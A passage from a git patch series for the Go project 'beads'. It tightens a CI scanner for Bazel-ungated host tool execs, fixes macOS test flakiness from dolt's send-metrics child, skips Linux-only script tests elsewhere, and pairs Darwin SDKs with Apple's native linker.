the gofmt exec after the ; is unguarded", hits) + } + }) + + t.Run("an unrelated exec sharing a line with an unrelated lookup is still reported (guard is tool- and position-specific)", func(t *testing.T) { + // The guard must not degrade back into a blanket same-line skip: + // looking up `go` must not excuse an unrelated `gofmt` exec later + // on the same line (different tool), and a lookup with no `&&` at + // all must not excuse anything. + src := "#!/usr/bin/env bash\n" + + "command -v go >/dev/null 2>&1 && gofmt -l .\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 { + t.Fatalf("got %+v, want one hit at line 2: the gofmt exec is not guarded by a `go` lookup", hits) + } + }) + + t.Run("a bare command -v gofmt lookup, with no following &&, is still just a lookup", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "if command -v gofmt >/dev/null 2>&1; then\n" + + " echo found\n" + + "fi\n" + if hits := findShellHostToolExecs(src); len(hits) != 0 { + t.Fatalf("got %+v, want no hits (plain presence lookup, no exec)", hits) + } + }) } // TestNoUngatedBareGoInBazelReachedShellScripts scans shellPolicyScope and From 0a163ca28566d14f6c423c0a58fe64fa6afa0f44 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 11 Oct 2026 01:53:00 +0000 Subject: [PATCH 226/325] fix(ci-policy): close M19/M21 scanner gaps from #7491 review (#7492) The host-tool-exec policy scanner (scripts/host_tool_exec_policy_test.go) had two remaining soundness gaps flagged in gastownhall/beads#7491's review: - M19: a discarded PrebuiltBD()/findPrebuiltBDBinary() error (e.g. `bd, _ := PrebuiltBD()`) kept the "never empty under Bazel" invariant trusted for `bd`, even though a real lookup failure under Bazel also returns "" there. prebuiltResultVars now only trusts the result when the error is bound to a named variable that is itself checked with an aborting `if err != nil`. - M21: an abort-style gate (`if bazeltest.IsBazel() { return }`) counted as gating an exec that ran before it, in source order, within the same block. The abort-style check now requires the gate to dominate the exec (ifStmt.End() <= pos); containment-style gating is unaffected since nesting already guarantees order. Flips the two tests that pinned these as documented limitations into mutation fixtures that must fail, adds three new M19 fixtures (discarded error, bound-but-unchecked error, and the fixed/checked shape), and updates the package and gated() doc comments. TestNoUngatedHostToolExecs UnderBazel confirms no real call site in the tree regresses. Co-authored-by: Claude Opus 5.5 (1M context) --- scripts/host_tool_exec_policy_test.go | 256 +++++++++++++++++++++----- 1 file changed, 213 insertions(+), 43 deletions(-) diff --git a/scripts/host_tool_exec_policy_test.go b/scripts/host_tool_exec_policy_test.go index 0faf447ef..3bce53efe 100644 --- a/scripts/host_tool_exec_policy_test.go +++ b/scripts/host_tool_exec_policy_test.go @@ -33,17 +33,29 @@ package scripts_test // at literal arguments, so this case never reaches it; // - the enclosing function (or func literal) contains an `if` whose // condition names bazeltest.IsBazel() or tests os.Getenv("TEST_SRCDIR") -// against "", AND whose body aborts the function (return/continue/break/ -// t.Fatal*/t.Skip*/t.FailNow/panic/os.Exit) exactly when that condition -// is true-under-Bazel (see condPolarity/blockAborts) — i.e. the -// enclosing scope provably never reaches the exec while running under -// Bazel. This is deliberately still position-agnostic (it does not -// check that the `if` lexically precedes the call), matching the -// allowlist's own "the mechanism exists somewhere in this function" -// looseness, but it IS polarity-aware: `if !bazeltest.IsBazel() { -// t.Skip() }` (which makes the function run ONLY under Bazel) is not a -// gate, because the abort fires on the opposite condition -// (gastownhall/beads#7485 review point 6); +// against "" (or a trusted prebuilt-lookup result, see below), AND whose +// body aborts the function (return/continue/break/t.Fatal*/t.Skip*/ +// t.FailNow/panic/os.Exit) exactly when that condition is +// true-under-Bazel (see condPolarity/blockAborts) — i.e. the enclosing +// scope provably never reaches the exec while running under Bazel. This +// abort-style gate must additionally dominate the exec (the `if`'s own +// end position must be <= the exec's position): in straight-line code, +// a gate that comes AFTER the exec in source order never runs before +// the exec does, so it is not actually a gate (gastownhall/beads#7491 +// review, "M21"). Containment-style gating — pos lexically inside a +// branch that only runs off Bazel — needs no such check: nesting +// already guarantees the branch's statements run after its own `if`. +// This is polarity-aware: `if !bazeltest.IsBazel() { t.Skip() }` (which +// makes the function run ONLY under Bazel) is not a gate, because the +// abort fires on the opposite condition (gastownhall/beads#7485 review +// point 6); +// - its "prebuilt binary path" comes from findPrebuiltBDBinary()/ +// bazeltest.PrebuiltBD(), checked against "" as above, ONLY when that +// call's error result is bound to a named variable (not discarded via +// `_`) that is itself checked with an aborting `if err != nil` — an +// ignored error breaks the "never empty under Bazel" invariant the +// check otherwise relies on (gastownhall/beads#7491 review, "M19"): see +// prebuiltResultVars; // - the enclosing function is itself named (not a func literal) and is // called only from sites that are themselves gated by the rule above — // checked by scanning every other in-scope file for bare calls to that @@ -61,7 +73,11 @@ package scripts_test // `exec.Command("go", "version")` with no gate and no allowlist entry, and // assert the scan reports it; a second fixture pins the inverted-polarity // case (`if !bazeltest.IsBazel() { t.Skip() }`) as still ungated; a third -// pins that a helper with one ungated caller among several is reported. +// pins that a helper with one ungated caller among several is reported; a +// fourth pins that an exec textually before its own abort-style gate is +// reported (review M21); a fifth pins that a discarded PrebuiltBD()/ +// findPrebuiltBDBinary() error defeats the "never empty under Bazel" check +// (review M19). import ( "go/ast" @@ -164,9 +180,7 @@ func newFuncScopes(file *ast.File) *funcScopes { // If Cond is true precisely when running under Bazel, the rest // of the scope -- wherever pos sits in it, PROVIDED pos is not // itself inside this same Bazel-true branch -- is reachable - // only off Bazel: a real gate, independent of whether pos is - // textually before or after this if (deliberately permissive, - // see the package comment). The !within(ifStmt.Body, pos) + // only off Bazel: a real gate. The !within(ifStmt.Body, pos) // guard makes that provision exact: `if bazeltest.IsBazel() { // exec.Command("go", ...); return }` has bazelWhenTrue=true // and an aborting body, but the exec sits INSIDE that same @@ -176,7 +190,20 @@ func newFuncScopes(file *ast.File) *funcScopes { // precisely when NOT under Bazel (the inverted case), the // rest of the scope is reachable ONLY under Bazel -- the // opposite of a gate -- so this must not set found either. - if bazelWhenTrue && blockAborts(ifStmt.Body) && !within(ifStmt.Body, pos) { + // + // ifStmt.End() <= pos requires the gate to dominate the exec: + // the if must finish (textually) before pos starts. Straight- + // line code executes in source order, so an exec statement + // that runs BEFORE this if is not protected by it, no matter + // how the if's own body aborts (gastownhall/beads#7491 review, + // "M21" -- an exec placed before its gate is not actually + // gated). This is deliberately still a lexical-order check, not + // full control-flow analysis: a gate that textually precedes + // pos anywhere in scope (including across unrelated sibling + // statements, or inside a loop that runs before pos) still + // counts, matching the "mechanism exists somewhere earlier in + // this scope" looseness the rest of this policy uses. + if bazelWhenTrue && blockAborts(ifStmt.Body) && !within(ifStmt.Body, pos) && ifStmt.End() <= pos { found = true } // Containment style: pos sits inside a branch that only runs @@ -290,13 +317,30 @@ func isPrebuiltVarIdent(e ast.Expr, prebuiltVars map[string]bool) bool { // prebuiltResultVars scans scope for assignments whose right-hand side is a // call to findPrebuiltBDBinary() or (any x.)PrebuiltBD(), returning the set // of local names bound to the call's first result -- the "prebuilt binary -// path, or \"\"" value. A caller that checks `name != ""` and aborts when -// true is gated: see condPolarity. +// path, or \"\"" value -- for assignments where the call's error result is +// actually checked. A caller that checks `name != ""` and aborts when true +// is gated: see condPolarity. +// +// The "never empty under Bazel" invariant documented on condPolarity only +// holds when err == nil: both findPrebuiltBDBinary and bazeltest.PrebuiltBD +// can return ("", non-nil) under Bazel too (an unset/misconfigured runfile +// env var resolves through RunfileEnv, which errors rather than silently +// returning ""). A caller that discards the error -- `bd, _ := +// findPrebuiltBDBinary()` -- loses that invariant: a real lookup failure +// under Bazel now also lands in the "bd == \"\"" branch, which a caller +// relying on this scan would otherwise treat as "off Bazel only" and fall +// through to an ungated host `go build`. Such a discarded-error var must +// NOT be trusted here, so its "bd == \"\""/"bd != \"\"" checks fall through +// to condPolarity's unmatched case and the exec they guard is reported +// ungated (gastownhall/beads#7491 review, "M19"). A var is only trusted when +// the error is bound to a named identifier AND that identifier is checked +// (`if err != nil { }`) somewhere in the same scope -- matching the +// fix PR #7491 applied to cmd/bd/scripttest_test.go by hand. func prebuiltResultVars(scope ast.Node) map[string]bool { vars := map[string]bool{} ast.Inspect(scope, func(n ast.Node) bool { assign, ok := n.(*ast.AssignStmt) - if !ok || len(assign.Rhs) != 1 || len(assign.Lhs) < 1 { + if !ok || len(assign.Rhs) != 1 || len(assign.Lhs) != 2 { return true } call, ok := assign.Rhs[0].(*ast.CallExpr) @@ -313,7 +357,18 @@ func prebuiltResultVars(scope ast.Node) map[string]bool { if !isPrebuiltCall { return true } - if id, ok := assign.Lhs[0].(*ast.Ident); ok && id.Name != "_" { + id, ok := assign.Lhs[0].(*ast.Ident) + if !ok || id.Name == "_" { + return true + } + errID, ok := assign.Lhs[1].(*ast.Ident) + if !ok || errID.Name == "_" || errID.Name == "" { + // Error discarded (or not a plain identifier): the "never + // empty under Bazel" invariant cannot be trusted. See the + // func comment ("M19"). + return true + } + if errorCheckedAndAborts(scope, errID.Name) { vars[id.Name] = true } return true @@ -321,6 +376,47 @@ func prebuiltResultVars(scope ast.Node) map[string]bool { return vars } +// errorCheckedAndAborts reports whether scope contains an `if errName != +// nil { }` (in either operand order), where the if's body aborts +// per blockAborts. It does not descend into a nested func literal, matching +// newFuncScopes' gated closure's own scoping rule: an error check belongs to +// the scope it is lexically in, not to an unrelated sibling closure. +func errorCheckedAndAborts(scope ast.Node, errName string) bool { + found := false + ast.Inspect(scope, func(n ast.Node) bool { + if _, ok := n.(*ast.FuncLit); ok && n != scope { + return false + } + ifStmt, ok := n.(*ast.IfStmt) + if !ok { + return true + } + if isErrNotNilCheck(ifStmt.Cond, errName) && blockAborts(ifStmt.Body) { + found = true + } + return true + }) + return found +} + +// isErrNotNilCheck reports whether cond is `errName != nil` or `nil != +// errName`. +func isErrNotNilCheck(cond ast.Expr, errName string) bool { + bin, ok := cond.(*ast.BinaryExpr) + if !ok || bin.Op != token.NEQ { + return false + } + isErrIdent := func(e ast.Expr) bool { + id, ok := e.(*ast.Ident) + return ok && id.Name == errName + } + isNilIdent := func(e ast.Expr) bool { + id, ok := e.(*ast.Ident) + return ok && id.Name == "nil" + } + return (isErrIdent(bin.X) && isNilIdent(bin.Y)) || (isErrIdent(bin.Y) && isNilIdent(bin.X)) +} + func isTestSrcdirGetenv(e ast.Expr) bool { call, ok := e.(*ast.CallExpr) if !ok || len(call.Args) != 1 { @@ -652,10 +748,13 @@ func build() { } }) - t.Run("same-function IsBazel gate, textually after the exec, still counts", func(t *testing.T) { - // Deliberately permissive (see the package comment): the check is - // "does the function contain this mechanism", not control-flow aware - // about lexical order. + t.Run("same-function IsBazel gate, textually after the exec, does not count (mutation check, review M21)", func(t *testing.T) { + // The exec runs, in source order, before the gate's own abort ever + // has a chance to fire -- the gate does not dominate the exec, so + // it must not be treated as safe (gastownhall/beads#7491 review, + // "M21"). An earlier revision was deliberately position-agnostic + // here ("does the function contain this mechanism", not + // control-flow aware about lexical order); that was the bug. fset, f, lines := parse(t, `package p import "os/exec" @@ -668,8 +767,9 @@ func build() { } `) hits := findHostToolExecCalls(fset, f, lines) - if len(hits) != 1 || !hits[0].gated { - t.Fatalf("hits = %+v, want one gated hit", hits) + if len(hits) != 1 || hits[0].gated { + t.Fatalf("hits = %+v, want one ungated hit: the gate comes after the exec, "+ + "so it does not dominate it", hits) } }) @@ -855,23 +955,18 @@ func build() { } }) - t.Run("exec placed before its gate, in sequence (not nested), still counts as gated -- documented limitation, not a bug (review item C)", func(t *testing.T) { + t.Run("exec placed before its gate, in sequence (not nested), is reported ungated (mutation check, review M21)", func(t *testing.T) { // This is NOT the M17 false-safe (an exec inside the SAME // true-under-Bazel branch, ahead of that branch's own abort): here // the exec is a sibling statement, textually before an unrelated - // `if` later in the function that aborts under Bazel. The package - // comment already documents this scan as deliberately - // position-agnostic ("it does not check that the `if` lexically - // precedes the call"), and "same-function IsBazel gate, textually - // after the exec, still counts" above already pins the single-if - // case. This fixture pins the same behavior for an abort-style gate - // specifically, as its own named case, since gastownhall/beads#7485 - // review flagged "an exec placed before its gate" as still open. - // Fixing it for real would require control-flow-ordering analysis - // this line/AST-position scan does not do; left as a known, - // documented limitation (conservative in the safe direction only - // when paired with the M17 same-branch check above, which this - // fixture does not exercise). + // `if` later in the function that aborts under Bazel. A prior + // revision treated this as gated -- deliberately position-agnostic, + // "it does not check that the `if` lexically precedes the call" -- + // but that is unsound: in straight-line code the exec runs, every + // time, before the later `if` gets a chance to abort anything + // (gastownhall/beads#7491 review, "M21" -- "an exec placed before + // its gate" is not actually gated). The gate must dominate the + // exec: ifStmt.End() <= pos, enforced in the abort-style check. fset, f, lines := parse(t, `package p import "os/exec" @@ -884,9 +979,9 @@ func build() { } `) hits := findHostToolExecCalls(fset, f, lines) - if len(hits) != 1 || !hits[0].gated { - t.Fatalf("hits = %+v, want one hit reported GATED: pinning the documented "+ - "position-agnostic limitation (not asserting this is safe)", hits) + if len(hits) != 1 || hits[0].gated { + t.Fatalf("hits = %+v, want one ungated hit: the gate comes after the exec, "+ + "so it does not dominate it", hits) } }) @@ -1090,6 +1185,81 @@ func newUngatedCaller() { } }) + t.Run("a discarded PrebuiltBD error defeats the gate (mutation check, review M19)", func(t *testing.T) { + // `bd, _ := bazeltest.PrebuiltBD()` throws away the error. Under + // Bazel, PrebuiltBD can return ("", non-nil) -- not just + // (non-empty, nil) -- when the runfile env var is unset or + // unusable, so "bd == \"\"" is no longer exclusively an off-Bazel + // signal: a real lookup failure under Bazel reaches this branch + // too, and the exec below it would then run under Bazel. + fset, f, lines := parse(t, `package p + +import "os/exec" + +func build() { + bd, _ := bazeltest.PrebuiltBD() + if bd == "" { + exec.Command("go", "build") + } +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || hits[0].gated { + t.Fatalf("hits = %+v, want one ungated hit: the discarded error "+ + "defeats the \"never empty under Bazel\" invariant", hits) + } + }) + + t.Run("a PrebuiltBD error bound but never checked also defeats the gate (mutation check, review M19)", func(t *testing.T) { + // Naming the error is not enough on its own -- it must actually be + // checked (an aborting `if err != nil`) for the "never empty under + // Bazel" invariant to hold. + fset, f, lines := parse(t, `package p + +import "os/exec" + +func build() { + bd, err := bazeltest.PrebuiltBD() + _ = err + if bd == "" { + exec.Command("go", "build") + } +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || hits[0].gated { + t.Fatalf("hits = %+v, want one ungated hit: the error is bound but never "+ + "checked, so the invariant still does not hold", hits) + } + }) + + t.Run("a checked PrebuiltBD error keeps the gate working (regression check, review M19)", func(t *testing.T) { + // The fixed shape: the error is bound to a named variable and + // checked with an aborting `if err != nil`, matching the real fix + // applied to cmd/bd/scripttest_test.go in #7491. This must stay + // gated so the M19 fix does not turn every real, correctly-checked + // prebuilt-lookup call site into a new scan failure. + fset, f, lines := parse(t, `package p + +import "os/exec" + +func build() { + bd, err := bazeltest.PrebuiltBD() + if err != nil { + panic(err) + } + if bd == "" { + exec.Command("go", "build") + } +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || !hits[0].gated { + t.Fatalf("hits = %+v, want one gated hit: the error is checked and aborts, "+ + "so the invariant holds", hits) + } + }) + t.Run("hostToolExecInScope", func(t *testing.T) { for rel, want := range map[string]bool{ "cmd/bd/compact_gc_target_test.go": true, From 22c0faaaf9d9a5dedc77eb0a3b0255963b498939 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 11 Oct 2026 02:31:35 +0000 Subject: [PATCH 227/325] test: fix the three causes of Main's Test (macOS) failures (#7494) * test(dbproxy/server): disable dolt event flush so send-metrics cannot race TempDir cleanup Every dolt sql-server this suite stops cleanly forks a detached `dolt send-metrics` child on exit. It outlives the test, rewrites /.dolt/eventsData (HOME is a t.TempDir()), and races t.TempDir's RemoveAll: "TempDir RemoveAll cleanup: ... 001/.dolt: directory not empty". main.yml's Test (macOS) job (plain go test) failed on this in about half of the pushes since 2026-10-09; Bazel never did because tools/bazel/test_env.sh exports DOLT_DISABLE_EVENT_FLUSH=1. TestMain now exports it too, guarded by TestSuiteDisablesDoltEventFlush. Co-Authored-By: Claude Opus 5.5 (1M context) * test(scripts): skip Linux-CI-only rrc and worker-env-sync script tests off Linux TestRRCRunLanes runs .github/scripts/rrc-run-lanes.sh, which uses bash 4's `mapfile` (exit 127 under macOS /bin/bash 3.2). TestWorkerEnvSyncCopyAgainstFixture runs tools/rbe/worker-env-sync-copy, whose GNU `sed -i -E` becomes "-i with backup suffix -E" plus a basic regex under BSD sed, so the pin is never rewritten. Both scripts run only on Linux runners (bazel.yml rrc-seed/rrc-verify, worker-env-autosync.yml); per their owner they stay Linux-only and the tests skip elsewhere with the reason. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .../storage/dbproxy/server/testmain_test.go | 26 +++++++++++++++++++ scripts/bazel_rrc_test.go | 8 ++++++ scripts/worker_env_autosync_test.go | 9 +++++++ 3 files changed, 43 insertions(+) diff --git a/internal/storage/dbproxy/server/testmain_test.go b/internal/storage/dbproxy/server/testmain_test.go index 835bfddac..cae012489 100644 --- a/internal/storage/dbproxy/server/testmain_test.go +++ b/internal/storage/dbproxy/server/testmain_test.go @@ -5,6 +5,7 @@ import ( "net" "os" "regexp" + "slices" "testing" "github.com/steveyegge/beads/internal/doltserver" @@ -118,6 +119,16 @@ func testMainInner(m *testing.M) int { // scripts/test.sh, a second `go test`), are left untouched. doltserver.SweepDeadSuiteRoots(os.TempDir(), suiteRootPrefix) + // Stop every dolt this suite runs (each inherits the environment) from + // forking a detached `dolt send-metrics` child on exit; that child + // outlives the test and races t.TempDir's RemoveAll of HOME. See + // TestSuiteDisablesDoltEventFlush. tools/bazel/test_env.sh exports the + // same for Bazel; this covers plain `go test` (macOS CI, local runs). + if err := os.Setenv("DOLT_DISABLE_EVENT_FLUSH", "1"); err != nil { + fmt.Fprintf(os.Stderr, "FATAL: set DOLT_DISABLE_EVENT_FLUSH: %v\n", err) + return 1 + } + // Pin TMPDIR under a suite-owned root so every t.TempDir() — including // each server's rootDir, which is its working directory — is nested under // something the sweeps may vouch for. @@ -155,3 +166,18 @@ func TestTempDirLandsUnderSuiteSweepRoot(t *testing.T) { t.Fatalf("t.TempDir() %q is not under suiteTempRoot %q", dir, suiteTempRoot) } } + +// TestSuiteDisablesDoltEventFlush guards the DOLT_DISABLE_EVENT_FLUSH export +// in testMainInner. Without it, every `dolt sql-server` this suite stops +// cleanly (SIGTERM) forks a detached `dolt send-metrics` child on exit. That +// child outlives the test, re-creates and rewrites /.dolt/eventsData +// (HOME is a t.TempDir()), and races t.TempDir's RemoveAll, which fails the +// test with "TempDir RemoveAll cleanup: ... directory not empty". Plain +// `go test` on macOS (main.yml's Test (macOS) job) hit it on roughly half the +// pushes to main; Bazel never did only because tools/bazel/test_env.sh +// exports the same variable. +func TestSuiteDisablesDoltEventFlush(t *testing.T) { + if !slices.Contains(doltserver.ServerSpawnEnv(), "DOLT_DISABLE_EVENT_FLUSH=1") { + t.Fatal("dolt sql-server would be spawned without DOLT_DISABLE_EVENT_FLUSH=1; its detached send-metrics child races t.TempDir cleanup") + } +} diff --git a/scripts/bazel_rrc_test.go b/scripts/bazel_rrc_test.go index 531d925ec..d2dc07f13 100644 --- a/scripts/bazel_rrc_test.go +++ b/scripts/bazel_rrc_test.go @@ -8,6 +8,7 @@ import ( "path/filepath" "reflect" "regexp" + "runtime" "slices" "sort" "strings" @@ -355,6 +356,13 @@ func TestBazelRRCLaneCommandsCoverEveryReader(t *testing.T) { // flags after; `test --nobuild`'s exit 1 after a successful analysis // passes, a failed analysis fails, and an empty command list fails. func TestRRCRunLanes(t *testing.T) { + // rrc-run-lanes.sh runs only in bazel.yml's rrc-seed and rrc-verify jobs, + // on Linux runners. It reads its lane list with `mapfile`, a bash 4 + // builtin that macOS's /bin/bash 3.2 lacks (exit 127, "mapfile: command + // not found"); its owner keeps it Linux-only rather than porting it. + if runtime.GOOS != "linux" { + t.Skipf("rrc-run-lanes.sh is Linux-CI-only (bazel.yml rrc-seed/rrc-verify) and uses bash 4's mapfile; GOOS=%s", runtime.GOOS) + } root := sourceRepoRoot(t) script := filepath.Join(root, bazelRRCRunLanes) dir := t.TempDir() diff --git a/scripts/worker_env_autosync_test.go b/scripts/worker_env_autosync_test.go index f3a4871f7..03ebb0c67 100644 --- a/scripts/worker_env_autosync_test.go +++ b/scripts/worker_env_autosync_test.go @@ -4,6 +4,7 @@ import ( "os" "path/filepath" "reflect" + "runtime" "strings" "testing" @@ -214,6 +215,14 @@ func TestWorkerEnvAutosyncWorkflowNeverInterpolatesExpressionsInRun(t *testing.T // than writing anything when gascity's platforms/BUILD.bazel carries no // pin to copy. func TestWorkerEnvSyncCopyAgainstFixture(t *testing.T) { + // worker-env-sync-copy runs only in worker-env-autosync.yml, on + // ubuntu-latest. It edits the pin with GNU `sed -i -E`; BSD sed (macOS) + // takes -E as -i's backup suffix, so the {64} interval is read as a + // basic regex and never matches, and the pin is left stale. Its owner + // keeps it Linux-only rather than porting it. + if runtime.GOOS != "linux" { + t.Skipf("worker-env-sync-copy is Linux-CI-only (worker-env-autosync.yml) and uses GNU sed -i -E; GOOS=%s", runtime.GOOS) + } f := newRBEWorkerEnvFixture(t) stalePin := rbeTestPin(rbeTestStaleManifest) beads := f.beads(t, rbeTestStaleManifest, stalePin) From 43b1fb2e4fcf05721353f09a68383e832acd2196 Mon Sep 17 00:00:00 2001 From: Steve Yegge Date: Sun, 11 Oct 2026 03:51:25 +0000 Subject: [PATCH 228/325] fix(build): pair Darwin SDKs with the native Apple linker (#7460) * fix(build): use native Darwin linker (wy-6fric6) Keep pinned LLVM Clang and Linux toolchain inputs; pair Darwin SDKs with the native Apple linker to support macOS 27 TAPI targets. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Steve Yegge * fix(build): canonicalize LLVM attributes (wy-6fric6) Apply bazel mod tidy ordering; linker/compiler settings are unchanged. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Steve Yegge --- MODULE.bazel | 7 +++++ engdocs/TESTING.md | 24 ++++++++++++++++ scripts/bazel_hermetic_cc_test.go | 47 +++++++++++++++++++++++++++++++ 3 files changed, 78 insertions(+) diff --git a/MODULE.bazel b/MODULE.bazel index 0be68a91d..e157d6d59 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -165,6 +165,13 @@ llvm_host_dist( llvm = use_extension("@toolchains_llvm//toolchain/extensions:llvm.bzl", "llvm") llvm.toolchain( name = "llvm_toolchain", + # Pair Darwin's host SDK with its native linker. LLVM 22.1.8's ld64.lld + # cannot parse the arm64e.x1 TAPI targets in the macOS 27 SDK. Keep the + # pinned Clang compiler; Linux keeps the bundled LLD and pinned sysroot. + linker = { + "darwin-aarch64": "auto", + "darwin-x86_64": "auto", + }, llvm_version = LLVM_VERSION, # The sysroot's libstdc++, linked dynamically as host-gcc builds did. stdlib = {"linux-x86_64": "dynamic-stdc++"}, diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index a41476a5a..3b4178066 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -57,6 +57,30 @@ offline and without Bazel, but they are not what CI enforces. GitHub Actions jobs that still run Go-native suites call the `-go` names, never `make test` (`TestWorkflowsNameTheirTestEngine`). +### Native macOS C/C++ toolchain + +Bazel uses pinned LLVM 22.1.8 Clang on macOS, with the installed Apple SDK +and its native linker (`xcrun --find ld`). `MODULE.bazel` selects +`linker = "auto"` only for Darwin arm64 and x86_64. The macOS 27 SDK contains +`arm64e.x1` TAPI targets that the bundled LLVM 22.1.8 `ld64.lld` cannot parse; +pairing the SDK with Apple's linker avoids that incompatibility without +changing the shared SDK, Xcode selection, or installed compiler. Darwin's +SDK/linker are host dependencies, so this is not a hermetic macOS build. + +Linux x86_64 still uses the SHA-pinned LLVM compiler and bundled LLD with +the pinned Ubuntu 24.04 sysroot. Host C/C++ toolchain detection stays disabled +on every platform; the Darwin override does not select `local_config_cc`. +`scripts/bazel_hermetic_cc_test.go` guards both contracts. A focused local +race build exercises the native cgo link through Go's race standard library: + +```bash +bazel test //scripts:scripts_test --config=ci --test_filter='^TestBazelHermetic' +``` + +This link check is separate from full macOS gate portability: the Linux-only +timeout test backends remain tracked in upstream issue #7362. Run the full +`make test` gate on its supported Linux platform as well. + ## Choose the Smallest Useful Test Test at the lowest seam that can fail for the user-visible reason. Add a diff --git a/scripts/bazel_hermetic_cc_test.go b/scripts/bazel_hermetic_cc_test.go index fec515bff..045e6cd81 100644 --- a/scripts/bazel_hermetic_cc_test.go +++ b/scripts/bazel_hermetic_cc_test.go @@ -88,6 +88,8 @@ func checkHermeticCCModule(module string) []error { } } + errs = append(errs, checkDarwinLinker(module)...) + if sysroot, err := moduleCall(module, "llvm.sysroot", hermeticCCSysrootLabel); err != nil { errs = append(errs, err) } else if !strings.Contains(sysroot, `targets = ["linux-x86_64"]`) { @@ -128,6 +130,34 @@ func checkHermeticCCModule(module string) []error { return errs } +// Darwin already uses the installed SDK, so pair it with Apple's linker. +// No default or Linux override is allowed: those must retain bundled LLD. +func checkDarwinLinker(module string) []error { + toolchain, err := moduleCall(stripStarlarkComments(module), "llvm.toolchain", `name = "llvm_toolchain"`) + if err != nil { + return []error{err} + } + linkers := regexp.MustCompile(`(?s)\blinker\s*=\s*\{([^}]*?)\}`).FindAllStringSubmatch(toolchain, -1) + if len(linkers) != 1 { + return []error{errors.New("llvm.toolchain must select native linkers only for Darwin")} + } + pairs := regexp.MustCompile(`"([^"]*)"\s*:\s*"([^"]*)"`) + entries := pairs.FindAllStringSubmatch(linkers[0][1], -1) + remaining := pairs.ReplaceAllString(linkers[0][1], "") + seen := map[string]bool{} + for _, entry := range entries { + key := entry[1] + if (key != "darwin-aarch64" && key != "darwin-x86_64") || entry[2] != "auto" || seen[key] { + return []error{errors.New("linker overrides must be exactly Darwin aarch64 and x86_64 = auto; Linux must use bundled LLD")} + } + seen[key] = true + } + if len(seen) != 2 || strings.Trim(remaining, ", \t\r\n") != "" { + return []error{errors.New("linker overrides must be exactly Darwin aarch64 and x86_64 = auto")} + } + return nil +} + // checkDebSysroot: every package is an amd64 pool .deb pinned by sha256 that // ships no ICU, and its URL templates give each package more than one host, // keep the snapshot the pins were taken from, and never start with a moving @@ -331,6 +361,14 @@ llvm_host_dist( llvm_versions = {"": LLVM_VERSION}, ) +llvm.toolchain( + name = "llvm_toolchain", + linker = { + "darwin-aarch64": "auto", + "darwin-x86_64": "auto", + }, +) + llvm.toolchain_root( name = "llvm_toolchain", label = "` + hermeticCCLLVMLabel + `", @@ -351,6 +389,15 @@ llvm.sysroot( t.Fatalf("good MODULE.bazel fixture: %v", errs) } for name, bad := range map[string]string{ + "no linker selection": strings.Replace(module, "linker = {", "other = {", 1), + "missing Darwin arm64": strings.Replace(module, `"darwin-aarch64": "auto",`, "", 1), + "missing Darwin x86": strings.Replace(module, `"darwin-x86_64": "auto",`, "", 1), + "bundled Darwin LLD": strings.Replace(module, `"darwin-aarch64": "auto"`, `"darwin-aarch64": ""`, 1), + "global native linker": strings.Replace(module, `"darwin-aarch64": "auto"`, `"": "auto"`, 1), + "Linux native linker": strings.Replace(module, `"darwin-aarch64": "auto"`, `"linux-x86_64": "auto"`, 1), + "extra Linux override": strings.Replace(module, "linker = {", `linker = {"linux-aarch64": "auto",`, 1), + "duplicate Darwin key": strings.Replace(module, "linker = {", `linker = {"darwin-aarch64": "auto",`, 1), + "commented linker": strings.Replace(module, " linker = {", " # linker = {", 1), "no toolchains_llvm": strings.Replace(module, `bazel_dep(name = "toolchains_llvm", version = "1.11.0")`, "", 1), "no registration": strings.Replace(module, hermeticCCToolchains, "", 1), "second registration": module + `register_toolchains("@local_config_cc//:all")` + "\n", From 4c4ba275c4d1797d17ae688d0bec2488e6bc21fe Mon Sep 17 00:00:00 2001 From: Bee Date: Sun, 11 Oct 2026 03:51:58 +0000 Subject: [PATCH 229/325] test(show): tighten the --comments-tail off-state check; share the --watch start/stop choreography (#7383 follow-ups) (#7454) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Follow-up to #7383: the three non-blocking items its adoption review filed (bd-m9pl8x, bd-zi2dko, bd-5qz7fa). Tests and release notes only. - bd-m9pl8x: stripShowTips dropped every tip line and normalized trailing newlines on both routes, so a stray trailing blank line printed only under --comments-tail passed every route test. stripTrailingShowTip removes exactly one trailing "\n💡 Tip: …\n" block and nothing else; assertCommentsTailOff strips it only on the direct route (tips=true) and compares the proxied route byte for byte. Table test added. - bd-zi2dko: the bd show --watch start / first-render / SIGINT / bounded-exit sequence now lives once, as startShowWatch + (*showWatch).interrupt; TestProxiedServerShowWatch and runShowWatchOnce both use it. Assertions unchanged. - bd-5qz7fa: drop the blank line that made the CHANGELOG "### Added" list loose; direct_json_untouched goes through bdShowRaw. Mutant check: a go build -overlay mutant printing one extra newline after printComments only when --comments-tail > 0 passes the test on main (5/5) and fails exactly direct_off_state_matches_absence here; the control binary passes 5/5. Co-authored-by: Claude Fable 5.1 --- CHANGELOG.md | 1 - cmd/bd/show_comments_tail_embedded_test.go | 18 +-- ..._comments_tail_proxied_integration_test.go | 85 +++-------- cmd/bd/show_comments_tail_test.go | 42 ++++++ cmd/bd/show_proxied_watch_integration_test.go | 132 ++++++++++-------- 5 files changed, 140 insertions(+), 138 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7a2a43a96..2a4cb8a05 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -32,7 +32,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 description and metadata are unchanged, and omitting the flag (or passing `0`) is byte-identical to today's output. JSON output is untouched; `--include-comments` still streams every comment there. - - `bd create --graph` now plans its batch through `issueops.BatchApplier` instead of the old 